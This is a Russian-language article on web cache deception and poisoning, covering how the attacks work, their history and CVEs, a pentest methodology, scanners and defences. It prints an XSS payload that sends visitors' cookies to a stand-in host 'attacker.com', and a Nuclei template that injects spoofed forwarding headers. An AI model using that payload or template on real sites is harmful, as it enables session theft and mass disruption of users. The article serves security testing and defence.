Кэширование — это эффективное архитектурное решение, которое сегодня используется на всех уровнях вычислительных систем, начиная от кэша процессора и жесткого диска до кэша веб-сервера и обратных прокси-серверов. Именно о последних пойдёт речь.
В этой статье мы рассмотрим атаки обмана и отравления кэша, сконцентрировавшись на последнем: проследим историю возникновения и развития уязвимости, поговорим про кэш-движки и связанные с ними последние CVE. Также попробуем разобраться, как следует искать отравление кэша на реальных целях. Распишем методологию пентеста, оценим риски и последствия эксплуатации, обозначим общие подходы к защите.
Содержание:
1. Суть проблемы
1.1 Введение в веб-кэширование
Основной принцип работы веб-кэша заключается в сохранении копий запрашиваемых данных, чтобы при повторных запросах эти данные могли быть получены быстрее, без необходимости повторного запроса к исходному серверу. Существует несколько типов веб-кэша:
-
Клиентский кэш (кэш браузера)
-
Промежуточный кэш (CDN, балансировщики нагрузки, обратные прокси-серверы)
-
Серверный кэш
Использование веб-кэша имеет множество преимуществ. Прежде всего, это значительное увеличение скорости загрузки веб-страниц, что улучшает пользовательский опыт. Также это снижение нагрузки на сервер и экономия сетевого трафика.
1.2 Виды атак на веб-кэш
Как часто и бывает, удобство имеет свою обратную сторону: использование веб-кэширования может также создать и большие проблемы в безопасности.
Большинство современных атак на веб-кэш на самом деле можно разделить на две категории: обман кэша и отравление кэша. У каждой из этих атак есть свои сценарии и подвиды.
Обман кэша — это атака, при которой можно заставить кэш-сервер закэшировать несуществующий статический файл, например, на который якобы ссылается директория с конфиденциальными данными, допустим: Ivanov_Ivan/account/nonexistence.css. Если Иванов Иван перейдёт по такой ссылке и ответ будет закэширован, то любой человек, перейдя по такому пути, сможет получить без аутентификации его конфиденциальные данные или даже сессию, так как страница с его аккаунтом закэширована, как статическая.
Возникает вопрос: а почему несуществующий статический файл вообще должен быть закэширован? Некорректная обработка регулярных выражений во фреймворке Django, например, приводит именно к описанному выше сценарию обману кэша. На рисунке ниже показано использование регулярных выражений с уязвимостью к обману кэша.
А на следующем рисунке – более корректный вариант с обозначением конца регулярного выражения.
Теперь про отравление веб-кэша. Это вид атаки, при котором злоумышленник внедряет вредоносный или поддельный контент в кэш системы.
Так, например, есть отравление клиентского кэша. Это атака, при которой в кэш браузера внедряют вредоносный код и производят подмену ресурсов (например, JavaScript файлов), чтобы в дальнейшем использовать их для кражи данных, выполнения вредоносных действий или распространения вредоносного ПО.
Отравление браузерного кэша часто может происходить, как и в случае других видов отравления кэша, из-за проблем в логике кэширования и неправильной настройке http-заголовков на веб-сервере. Так же причиной может стать использование атакующим скриптов Service Workers для перехвата и изменения кэшированных запросов. Результатом является кэширование вредоносного контента, что позволяет злоумышленнику контролировать ответы, возвращаемые браузером.
Но тема этой статьи — отравление кэша кэш-серверов. И эта атака является более серьёзной, чем описанные выше, по причине её широкомасштабного воздействия: когда кэширующий сервер «отравлен», каждый пользователь, который обращается к его кэшу, получает поддельные данные.
Отравление кэша может оставаться незамеченным в течение длительного времени, так как может включать, например, только javascript-код, выполняющийся без видимых эффектов для пользователя. Или может затрагивать отдельные группы пользователей. Если отравление нацелено на пользователей, использующих все браузеры, кроме Chrome, который, предположим, использует команда безопасности, то это может значительно увеличить время их реакции на атаку. Это возможно при включённом в ключ кэша заголовке User-Agent.
Смысл атаки отравления кэша заключается в том, чтобы вызвать вредоносный ответ сервера (или ответ с кодом ошибки, если цель DoS) и закэшировать этот ответ для других пользователей
Определимся с терминами:
Ключ кэша — это те параметры клиентского запроса, неизменность которых, заставляет кэш-сервер выдавать кэшированный ответ, а их изменение — оригинальный ответ от сервера. Ключ кэша часто представляется в виде хэша значений этих параметров. Иными словами, это несколько конкретных элементов HTTP-запроса (заголовки, пути, куки и прочее), которые используются для полной идентификации запрашиваемого ресурса.
Кэш-бустер — указание загрузить ресурс с сервера, а не из кэша. Указание это даётся через изменение включённых в ключ кэша параметров.
Скрытые заголовки — это HTTP-заголовки, которые не являются стандартными или общедоступными, но могут быть использованы для различных целей, в том числе для обработки прокси-серверов, балансировщиков нагрузки и других промежуточных устройств. Эти заголовки часто добавляются на сервере или промежуточными устройствами и могут не быть очевидными или известными клиенту.
Рассмотрим простой случай отравления кэша на примере одной из лабораторных работ на Port Swigger:
Изначальное значение prod-cache-01 параметра Cookie fehost мы заменяем на любые другие наборы символов (на рисунке выше это «test»), отправляем пару раз запросы с разными значениями этого параметра веб-приложению и фиксируем два момента:
-
Заголовок ответа X-Cache при первой отправке запроса имеет значение miss, а при остальных — hit , независимо от значения fehost. Это говорит о том, что Cookie не включены в ключ кэша, то есть для всех пользователей главная страница будет загружаться из кэш-сервера .
-
Значение fehost в запросе отражается коде страницы. То есть имеем отражённый XSS.
Исходя из этих двух моментов понимаем, что если для fehost мы пропишем, например:
prod-cache-01» }; var img = new Image(); img.src = 'https://attacker.com/collect?cookies=' + encodeURIComponent(document.cookie); {»
То куки-файлы всех пользователей, заходящих на главную страницу, будут незаметно для них отправляться на ресурс злоумышленника.
2. Погружение в тему
2.1 История уязвимости
Упоминания об уязвимости отравления веб-кэша можно найти с 2007 года. Самая ранняя CVE, связанная с отравлением веб-кэша, согласно базе NVD, была в том же году и связана с уязвимостью в CMS Drupal, когда мог вызываться массовый DoS.
В 2009 году имела место знаковая публикация OWASP на эту тему.
В 2010х было зафиксировано сравнительно немного инцидентов, связанных с отравлением кэша. Например, уязвимость 2011 года в браузере Safari или в CMS Made Simple в 2016 году.
Новую жизнь тема получила после презентации «Practical Web Cache Poisoning: Redefining 'Unexploitable'» исследователя из Port Swigger, Джеймса Киттли, на конференции Black Hat в 2018 году, который продемонстрировал новые методы атак и защиты от них. После этого выступления многие CDN-провайдеры стали выпускать различные материалы на тему отравления веб-кэша. Стало регулярно публиковаться достаточно много статей и исследований в целом.
Несколько СVE этого года, связанные с отравлением веб-кэша:
Уязвимость в Apache Traffic Server версий 8.0.0-8.1.10 и 9.0.0-9.2.4.
Уязвимость в Moby, проекте для контейнеризации ПО, до версии 24.0.9. Злоумышленник, зная Dockerfile, может отравить кэш, заставив пользователя загрузить специально созданный образ, который будет считаться валидным кэшем для некоторых этапов сборки.
Уязвимость в IBM Datacap Navigator версий 9.1.5-9.1.9.
2.2 Кэш-движки
Кэш-движки — это решения, которые используются для кэширования веб-контента. Кэш-движками могут называться отдельные программные решения, решения в составе CDN и просто функциональности кэширования в фрейморках и CMS.
Из популярных программных решений первым по количеству зарегистрированных CVE за последние пару лет можно назвать Apache Traffic Server. Однако, следует сделать отступление, что количество CVE не есть показатель безопасности или небезопасности продукта. Показателями безопасности продукта могут служить следующие факторы:
-
Программное обеспечение активно используется и разрабатывается.
-
Поставщик поощряет поиск уязвимостей в своё продукте.
-
Новые ошибки безопасности обрабатываются и исправляются быстро.
На CVE же следует опираться, как на основу для текущих и будущих исследований.
Из поставщиков CDN ведущим в мире является Cloudflare, который имеет хорошую репутацию в плане оперативного реагирования на текущие вызовы кибербезопасности. Так, в статье Port Swigger от 06.10.2018 с разбором методов защиты CDN-провайдеров от атак отравления кэша методы, Cloudflare были оценены как лучшие среди прочих.
Об отравлении кэша CMS из последних новостей отметим уязвимость в TYPO3 от 30.05.2023. А также критическую уязвимость в ядре Drupal от 21.09.2023.
Что касается фреймворков одним из самых интересных исследований этого года можно назвать статью багхантера об уязвимости в Next.js. Одним из моментов обнаруженных багхантером было то, что Next.js пытается решить проблему самокэширования при запросах для получения RSC (React Server Components) данных, добавляя кэш-бустер в URL. Однако это не мешает злоумышленникам отравить кэш, отправляя запросы с заголовком rsc без использования кэш-бустера.
3. Практическая сторона вопроса
3.1 Методология пентеста
Теперь попробуем составить методологию для исследования и эксплуатации отравления веб-кэша в реальных приложениях.
-
Выбрать подходящий для исследования ресурс, или «cache-oracle».
Cache-oracle – это веб-страница, предоставляющая удобную для исследователя обратную связь о поведении кэша. Обратная связь может проявляться по-разному:
-
Заголовок HTTP, который явно сообщает нам, кэширован ресурс или нет (hit/miss).
-
Наблюдаемые изменения динамического контента.
-
Разное время отклика при запросе ресурса.
-
Исследовать логику кэширования и ключ кэша, попробовать найти скрытые параметры кэширования.
Ключ кэша исследуется посредством вопросов к нашему «оракулу» с преобразованием различных параметров: удаление отдельных параметров запроса, удаление всей строки запроса, удаление порта из заголовка Host, декодирование URL и прочее. Каждый такой «вопрос» задается путем отправки двух слегка отличающихся запросов и наблюдения за тем, вызывает ли второй попадание в кэш.
Далее, угадывая, например, скрытые http-заголовки, связанные с кэшированием, и подставляя в них свои значения, можно непреднамеренно отравить кэш для всех пользователей, что является грубой ошибкой для этичного хакера, выполняющего пентест с условием не навредить заказчику. Поэтому следует использовать кэш-бустер при каждом таком «угадывании».
Всё это можно делать как вручную, так и средствами автоматизации (обязательно исключив воздействие на систему в настройках используемого инструмента). Вот некоторые из них:
Это расширение с открытым исходным кодом для Burp Suite, которое автоматически ищет неочевидные параметры HTTP-запросов. Автоматически вставляет различные параметры в запросы и анализирует ответы, чтобы выявить параметры, которые могут быть использованы для отравления кэша.
Инструмент для автоматизации обнаружения уязвимостей кэширования веб-приложений. Он анализирует изменения в HTTP-ответах при добавлении заголовков, проверяет различия в статус-кодах и длине ответов, а также манипулирует заголовком Host с добавлением портов. Кроме того, инструмент автоматически сканирует статические файлы, чтобы выявить другие возможные уязвимости кэша.
-Web Cache Vulnerability Scanner.
Достаточно серьёзный сканнер, написанный на Go, для обнаружения уязвимостей веб-кэша от компании Hackmanit. Сканер поддерживает множество различных методов отравления и обмана кэша, поддерживает тестирование URL-адресов и может адаптироваться к конкретному кэшу для более эффективного тестирования. Легко настраивается и интегрируется в существующие DevOps-процессы.
Также для исследования ключей кэша и скрытых заголовков полезным будет изучить доступную документацию используемых CDN, движков, фреймворков и прочего, а также исходный код и возможные утечки информации.
-
Эксплуатация уязвимости.
Теперь необходимо получить вредоносный ответ от сервера и закэшировать его. Самое простое, что часто можно сделать, это вызвать отказ в обслуживании (DoS), вызвав, например, ответ 403 сервера и закэшировав результат, что значит, что все пользователи приложения получат эту ошибку вместо запрашиваемой страницы.
Однако, даже если есть возможность кэшировать такого рода ответы сервера, лучшим вариантом, тем не менее, является найти дополнительные уязвимости, например, отражённый XSS, open redirect и другие, которые сами по себе могли бы быть безобидными, но в сочетании с отравлением кэша они выходят на совсем другой уровень.
Например, используя XSS, злоумышленник может внедрить вредоносный скрипт, который будет выполняться в браузерах пользователей, получающих закэшированные страницы. Это может привести к краже учетных данных, сессий или даже к полному контролю над аккаунтами пользователей. Кроме того, важно отметить, что атака может быть направлена не только на пользователей, но и на внутренние системы, если кэширование настроено неправильно. Это может привести к тому, что внутренние данные, такие как конфиденциальная информация или административные интерфейсы, будут доступны злоумышленникам.
3.2 Как не стоит искать отравление кэша
По большому счёту, первый вопрос, который должен возникнуть у пентестера при практическом рассмотрении отравления кэша, это возможность эффективного массового сканирования доменов. Ведь главная страница сайта кэшируется достаточно часто поэтому, если такое сканирование было бы возможно, это значительно облегчило обнаружение данной уязвимости.
Проверим это сами, для чего воспользуемся популярным среди багхантеров сканнером Nuclei. Возьмём уже готовый шаблон для проверки отравления кэша, который в GET-запросе отправляет возможные скрытые http-заголовки и проверяет, нет ли в теле полученного ответа значения этих заголовков. Отредактируем этот шаблон, добавив много полезной нагрузки в виде возможных скрытых заголовков:
info:
name: Web Cache Poisoning
author: sensa1ac
severity: high
requests:
- raw:
- |
GET /?cb=5893815815934534444 HTTP/1.1
X-Forwarded-Prefix: cache.poison.com
X-Forwarded-Host: cache.poison.com
X-Forwarded-For: cache.poison.com
X-Forwarded-Prefix: cache.poison.com
X-Forwarded-Host: cache.poison.com
X-Forwarded-Scheme: http
X-Forwarded-Server: cache.poison.com
X-Originating-Ip: cache.poison.com
X-Orig-Client: cache.poison.com
X-Original-Remote-Addr: cache.poison.com
X-Original-Host: cache.poison.com
X-Original-Url: cache.poison.com
X-Originally-Forwarded-For: cache.poison.com
X-Remote-Ip: cache.poison.com
X-Remote-Addr: cache.poison.com
X-Real-Ip: cache.poison.com
X-Client-Ip: cache.poison.com
X-Remote-Host: cache.poison.com
X-From: cache.poison.com
X-Host: cache.poison.com
X-Http-Destinationurl: cache.poison.com
X-Ip: cache.poison.com
X-Server-Name: cache.poison.com
XXX-Real-Ip: cache.poison.com
Client-Ip: cache.poison.com
Forwarded: cache.poison.com
Forwarded-For: cache.poison.com
Forwarded-For-Ip: cache.poison.com
Pc-Remote-Addr: cache.poison.com
Real-Ip: cache.poison.com
Remote-Addr: cache.poison.com
Remote-Host: cache.poison.com
Remote-Host-Wp: cache.poison.com
Remote-User: cache.poison.com
Proxy-Connection: cache.poison.com
Via: cache.poison.com
- |
GET /?cb=5893815815934534444 HTTP/1.1
req-condition: true
matchers:
- type: dsl
dsl:
'contains(body_2, «cache.poison.com») == true'
Проверим работоспособность шаблона в лабораторной работе «Web cache poisoning with an unkeyed header» от Port Swigger.
Отлично, всё работает. А теперь перейдём к реальным целям на Bug Bounty. Соберём пару тысяч доменов с отечественного Standoff365 и пару сотен тысяч с зарубежного HackerOne и просканируем их нашим шаблоном.
Но результат один:
Что однозначно отвечает на поставленный вопрос: отравление кэша надо искать руками, а сканеры использовать для работы с конкретным ресурсом.
3.3 Руками — это как?
В действительности всё несколько сложнее, чем просто с ходу на главной странице домена найти всё, что мы ищем. Зачастую к находкам в области отравления кэша приводят запросы к автоматически генерируемым ресурсам, а не к главной странице домена. Таким как /js/geolocate.js , /statistics/info.json?utm-content=foo и прочим, так как именно в этих ресурсах реализуется весь функционал кэширования и эти ресурсы, как показывает практика, плохо или вообще не проверяют пользовательский ввод, а значит являются наиболее уязвимыми.
Как находить в запросах к таким ресурсам параметры без пользовательской фильтрации? Ну, например, захожу в свой аккаунт известного в России и мире сайта одной компании, разместившей свои домены на HackerOne, чтобы, помимо прочего, мы могли попробовать своими руками найти что-то интересное. Достаточно пробежаться по паре страниц сайта, чтобы увидеть в Burp Suit вот такой запрос к скрипту со статисткой.
Обратим внимание на значения domain-параметра Set-Cookie. Там сейчас указан главный домен. Включив расширение Param Miner с указанием «Guess headers», находим следующее:
На самом деле в вопросе эксплуатации отравления кэша это всё неинтересно ровно настолько, насколько это вообще некэшируемый ответ, а domain-параметр Set-Cookie — это вообще указание для браузера (отправлять куки на указанный домен и его поддомены).
Тем не менее, мы узнали, что исходный сервер ждёт от прокси-сервера заголовок X-Host: ждёт и готов обработать, даже если получит его от клиентской стороны, то есть от нас.
Из примечательного: у той же компании на другом ресурсе была обнаружена таким же образом, что и выше, возможность управления значением заголовка Access-Control-Allow-Origin, а также скрытый URL-параметр «timeout», значение которого определяет максимальное время, в течение которого прокси-сервер будет ждать ответа от сервера, что позволяет нехитрым способом вычислить среднее время, которое проходит запрос от прокси к серверу, вплоть до наносекунд, так как, если запрос не успевает за указанное время, будет получен статус 500.
Багхантеру все эти разрозненные наблюдения дают базу для дальнейшего ручного исследования доменов компании и вполне оправданные надежды найти серьёзное отравление кэша с цепочкой эксплоитов.
4. Быть или не быть отравлению кэша
4.1 Возможные последствия эксплуатации
Теперь поговорим о возможных последствиях эксплуатации отравления веб-кэша.
Как уже говорилось при описании методологии пентеста, отравление кэша само по себе часто эксплуатируют отказом в обслуживании, массовым или избирательным (по http-заголовкам в зависимости от ключа кэша), что обычно классифицируется как средний или высокий уровень риска. Однако в сочетании с другими уязвимостями, это может привести к очень серьезным последствиям, классифицируемым уже как высокий-критический уровень риска.
Вот несколько примеров того, что может случиться при комбинировании отравления веб-кэша с другими уязвимостями:
-
Комбинация с XSS.
-
Если отравление кэша позволяет внедрять XSS-скрипты на кэшируемые страницы, злоумышленник может внедрить скрипт, который крадет cookie-сессии пользователей. Этот скрипт будет выполняться для всех пользователей, которые получают отравленную страницу из кэша.
-
Комбинация с CSRF.
-
Используя отравление кэша, злоумышленник может изменить кэшированные страницы, добавляя скрытые CSRF-запросы. Это позволяет отправлять запросы от имени пользователей без их ведома.
-
Пример: Злоумышленник изменяет кэшированную страницу настроек аккаунта, добавляя скрытую форму, которая отправляет запрос на изменение электронной почты или пароля.
-
Комбинация с уязвимостями в аутентификации.
-
В случае уязвимостей в аутентификации (например, слабая защита от повторного использования токенов), отравление кэша может быть использовано для распространения поддельных токенов аутентификации.
-
Комбинация с уязвимостями в бизнес-логике.
-
Отравление кэша может быть использовано для изменения данных, отображаемых на страницах, связанных с транзакциями или важными операциями.
-
Комбинация с уязвимостями на уровне сервера.
-
Если сервер неправильно обрабатывает кэшируемые данные, злоумышленник может использовать отравление кэша для внедрения вредоносных команд или данных. Например, изменение кэшируемого ответа API, который затем используется сервером для выполнения бизнес-логики, что может привести к выполнению произвольных команд.
4.2 Методы защиты
Атаки отравления кэша связаны в первую очередь с нарушением самой логики кэширования. Однако даже добавив в ключ кэша те или иные заголовки, служившие причиной уязвимости, нельзя однозначно утверждать, что теперь проблема решена. Сама сложность кэширования даёт большой простор для его исследования с точки зрения наступательной безопасности.
Рассмотрим общие подходы для обеспечения безопасного веб-кэширования:
-
Внимательно относится к тому, какой контент кэшируется, ограничить кэширование или отключить вовсе, если его использовании нет необходимости (например, у многих CDN по умолчанию включено кэширование).
-
Правильная настройка кэша: правильные заголовки (Cache-Control, ETag, Vary), правильное формирование ключа кэша.
-
Не игнорировать «безобидные» уязвимости, приводящие к тяжёлым последствиям в сочетании с отравлением кэша: реализовывать валидацию и очистку входных данных, а также заголовки безопасности (CSP, X-Content-Type-Options, X-XSS-Protection).
-
Регулярные обновления программного обеспечения. Так как уязвимость к отравлению кэша может прийти к нам из используемых нами кэш-движков в составе CMS, фреймворков и прочих.
Заключение
Для грамотного построения системы веб-кэширования необходимо понимание основных концепций атак на кэш, методах их поиска и эксплуатации потенциальным злоумышленником, что в том числе и было рассмотрено в данной статье.
В силу большого потенциального риска уязвимости веб-кэширования и отравление веб-кэша, в частности, будут и дальше оставаться предметом постоянных исследований.
Автор: sensa1ac